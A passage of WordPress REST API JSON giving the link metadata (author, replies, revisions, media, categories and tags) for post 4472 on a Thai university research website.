                "embeddable": true,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/users\/2"
            }
        ],
        "replies": [
            {
                "embeddable": true,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4472"
            }
        ],
        "version-history": [
            {
                "count": 2,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/posts\/4472\/revisions"
            }
        ],
        "predecessor-version": [
            {
                "id": 4657,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/posts\/4472\/revisions\/4657"
            }
        ],
        "wp:featuredmedia": [
            {
                "embeddable": true,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=\/wp\/v2\/media\/4473"
            }
        ],
        "wp:attachment": [
            {
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4472"
            }
        ],
        "wp:term": [
            {
                "taxonomy": "category",
                "embeddable": true,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4472"
            },
            {
                "taxonomy": "post_tag",
                "embeddable": true,
                "href": "https:\/\/research.bru.ac.th\/en\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4472"
            }
        ],
        "curies": [
            {
                "name": "wp",
                "href": "https:\/\/api.w.org\/{rel}",
                "templated": true
            }
        ]
    }
}